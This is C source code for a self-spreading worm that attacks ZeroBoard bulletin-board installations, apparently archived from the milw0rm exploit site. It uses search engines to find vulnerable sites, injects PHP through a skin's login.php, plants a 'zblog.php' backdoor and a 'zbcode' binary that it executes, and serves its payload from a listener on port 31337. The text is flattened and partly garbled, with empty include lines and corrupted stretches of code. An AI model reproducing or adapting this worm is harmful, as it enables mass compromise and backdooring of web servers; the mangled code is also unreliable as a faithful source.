/* The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke */ /* ** ZeroBoard -1day INE w0rm */ #include #include #include #include #include #include #include #include #include #ifdef __sun__ #include #endif /* __SunOS__ */ #define DEBUG_ING #undef DEBUG_ING #define TMP_FILE "./tmp.core" #define CMD_FILE "./cmd.core" #define PRC_FILE "./proc.core" #define SCS (0) #define MIN (1) #ifdef __linux__ #define DEF_ETH "eth0" #else #ifdef __FreeBSD__ #define DEF_ETH "ed0" #else #ifdef __sun__ #define DEF_ETH "hme0" #endif #endif #endif #define MAX_BUF (0x0000ffff) #define FIR_BUF (0x00000800) #define SEC_BUF (0x00000400) #define THR_BUF (0x00000200) #define MIN_BUF (0x00000100) #define VENDOR "nzeo.com" // search rule #define FD_RULE_0 "/zboard/zboard.php" #define FD_RULE_1 "/zb41/zboard.php" #define FD_RULE_2 "/bbs/zboard.php" #define FD_RULE_3 "/zb/zboard.php" #define FD_RULE_4 "/zb40/zboard.php" #define FD_RULE_5 "/board/zboard.php" #define FD_RULE_6 "zboard.php" #define FD_RULE_7 "zboard.ph" // pattern #define FD_PATH_0 "/zboard/skin/zero_vote/login.php" #define FD_PATH_1 "/zb41/skin/zero_vote/login.php" #define FD_PATH_2 "/bbs/skin/zero_vote/login.php" #define FD_PATH_3 "/zb/skin/zero_vote/login.php" #define FD_PATH_4 "/zb40/skin/zero_vote/login.php" #define FD_PATH_5 "/board/skin/zero_vote/login.php" #define FD_PATH_6 "/skin/zero_vote/login.php" #define RESULT_OK "200 OK" #define MAKE_STR1 "BACKDOOR MAKE SUCCESS" #define MAKE_STR2 "ZBCODE MAKE SUCCESS" #define DELT_STR1 "BACKDOOR DELETE SUCCESS" #define DELT_STR2 "ZBCODE DELETE SUCCESS" #define DEF_PORT (31337) #define CONN_PORT (80) #define DEF_TIME (20) int set_sock(char *sc_gt_host,int port,int type); void re_connt_lm(int st_sock_va,int type); int proc_r(); void t_kill(); void sf_exit(); int g_ip(char *ip); int make_cmd_file(); int filter_f(char *test_bf,int tnum); int sock; struct tg_rl { int r_num; char *r_str; char *url_str; }; #define TARGET_NUM (7) #define SEARCH_NUM (4) struct tg_rl __tg_rule_va[]= { {0,FD_RULE_0,FD_PATH_0}, {1,FD_RULE_1,FD_PATH_1}, {2,FD_RULE_2,FD_PATH_2}, {3,FD_RULE_3,FD_PATH_3}, {4,FD_RULE_4,FD_PATH_4}, {5,FD_RULE_5,FD_PATH_5}, {6,FD_RULE_6,FD_PATH_6}, {7,FD_RULE_7,FD_PATH_6}, {8,NULL,NULL} }; struct search_rule { int num; u_char *url; int maxnum; int defnum; u_char *http_head; }; struct search_rule search_va[]= { {0,"www.google.com",990,10,"http://"}, {1,"kr.search.yahoo.com",990,15,"http://"}, {2,"search.nate.com",480,10,"http://"}, {3,"search.lycos.com",990,10,"//"}, {4,"kr.altavista.com",1000,10,"//"}, {5,NULL,0,0,NULL} }; void t_kill() { #ifdef DEBUG_ING fprintf(stdout,"time out\n"); #endif close(sock); sock=-1; signal(SIGALRM,SIG_DFL); return; } void sf_exit() { #ifdef DEBUG_ING fprintf(stdout,"safe exit\n"); #endif close(sock); kill((int)proc_r(),9); unlink(TMP_FILE); unlink(CMD_FILE); unlink(PRC_FILE); exit(-1); } int main(int argc,char *argv[]) { FILE *fp; int tnum=(SCS); int chk=(SCS); int gogo=(SCS); int whgl=(SCS); int qnum=(SCS); int tgrl_sl=(MIN); int _conn_num=(SCS); int port=(CONN_PORT); int def_port=(DEF_PORT); int sc_gt_sock; int host_chk=(SCS); u_char *gg_ptr=NULL; u_char *t_ptr=NULL; u_char __zr_bf[(MAX_BUF)]; u_char *port_ptr=NULL; char pkt[(FIR_BUF)]; char host[(SEC_BUF)]; char url[(SEC_BUF)]; char test_bf[(MAX_BUF)]; char req_t_bf[(THR_BUF)]; char ip[(MIN_BUF)]; char atk_code[(MIN_BUF)]; signal(SIGINT,sf_exit); signal(SIGTSTP,sf_exit); while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF) { extern char *optarg; switch(whgl) { case 'S': case 's': tnum=atoi(optarg); if(SEARCH_NUM') chk=0; } else { if(t_ptr[gogo]==' ') continue; else if(t_ptr[gogo]=='<') chk=1; else test_bf[whgl++]=t_ptr[gogo]; } } if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str)) continue; else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str); if(t_ptr!=NULL) t_ptr[0]='\0'; else continue; if(filter_f(test_bf,tnum)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); if(strstr(t_ptr,search_va[tnum].http_head)) continue; memset((char *)host,0,sizeof(host)); memset((char *)url,0,sizeof(url)); chk=(SCS); if(strstr(test_bf,search_va[tnum].http_head)) { t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head); port=(CONN_PORT); for(whgl=0;whglh_addr); memset(&(sock_st.sin_zero),0,8); if(connect(sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sock); return(-1); } return(sock); } else{ if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } sock_st.sin_family=(AF_INET); sock_st.sin_port=htons(port); sock_st.sin_addr.s_addr=(INADDR_ANY); memset(&(sock_st.sin_zero),0,8); if(bind(sc_gt_sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1) { close(sc_gt_sock); return(-1); } #define BK_LG 10 if(listen(sc_gt_sock,(BK_LG))==-1){ close(sc_gt_sock); return(-1); } while(1){ s_s=sizeof(struct sockaddr_in); if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&t_st,&s_s))==-1) { close(nw_gt_sock); close(sc_gt_sock); return(-1); } while(recv(nw_gt_sock,&t_c,1,0)){ if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0d){ recv(nw_gt_sock,&t_c,1,0); if(t_c==0x0a){ break; } } } } } send(nw_gt_sock,http_rq,strlen(http_rq),0); if((fp=fopen(CMD_FILE,"r"))==NULL){ close(nw_gt_sock); close(sc_gt_sock); return(-1); } memset((char *)t_b,0,sizeof(t_b)); while(fgets(t_b,sizeof(t_b)-1,fp)){ send(nw_gt_sock,t_b,strlen(t_b),0); } fclose(fp); close(nw_gt_sock); continue; } close(sc_gt_sock); return(-1); } } void re_connt_lm(int st_sock_va,int type) { if(st_sock_va==-1) { if(!type){ kill(getppid(),9); // parent } kill((int)proc_r(),9); // child sf_exit(); } } int proc_r(){ FILE *fp; int proc_n; if((fp=fopen(PRC_FILE,"r"))==NULL){ exit(-1); // child check. } fscanf(fp,"%16d",&proc_n); fclose(fp); return proc_n; } int g_ip(char *ip) { int sock; struct ifreq ifpq; struct sockaddr_in *pq; memset(&ifpq,0,sizeof(ifpq)); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { return(-1); } pq=(struct sockaddr_in *)&ifpq.ifr_addr; pq->sin_family=AF_INET; memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name)); if(ioctl(sock,SIOCGIFADDR,&ifpq)==0) { memset((char *)ip,0,(MIN_BUF)); snprintf(ip,(MIN_BUF)-1,"%s",inet_ntoa(pq->sin_addr)); } return 0; } #define BACKDOOR_PATH "zblog.php" #define CODE_PATH "zbcode" #define CODE_PATH_SRC "zbcode.c" int make_cmd_file() { unsigned long w1=0; FILE *fp; FILE *pf; if((fp=fopen(CMD_FILE,"w"))==NULL) { return(-1); } fprintf(fp,"1024){\n"); fprintf(fp,"exec(\"./%s -t $fnum -p $port -s $snum -q $randnum\");\n",CODE_PATH); fprintf(fp,"}\n}\n"); #else fprintf(fp,"unlink('%s');\n",BACKDOOR_PATH); fprintf(fp,"unlink('%s');\n",CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",BACKDOOR_PATH,BACKDOOR_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1); fprintf(fp,"}\n}\n"); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"} else { fclose($fp);\n"); fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",CODE_PATH,CODE_PATH); fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH); fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2); fprintf(fp,"}\n}\n"); #endif fprintf(fp,"?>\n"); fclose(fp); } int filter_f(char *test_bf,int tnum) { switch(search_va[tnum].num) { case 0: /* google */ if(!strstr(test_bf,"google")&&!strstr(test_bf,"/search?q=cache:") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"%3F")&&!strstr(test_bf,"...") &&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 1: /* yahoo */ if(!strstr(test_bf,"yahoo")&&!strstr(test_bf,"/cache.php?") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"search")&&!strstr(test_bf,".html%") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 2: /* nate */ if(!strstr(test_bf,"nate")&&!strstr(test_bf,"RESULT") &&!strstr(test_bf,"<")&&!strstr(test_bf,">") &&!strstr(test_bf,"/search/")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 3: /* lycos */ if(!strstr(test_bf,"lycos")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3F") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; case 4: /* altavista */ if(!strstr(test_bf,"ref_")&&!strstr(test_bf,"<") &&!strstr(test_bf,">")&&!strstr(test_bf,"%3f") &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR)) { return 1; } else return 0; break; default: return 0; break; } return 0; } // milw0rm.com [2005-05-06]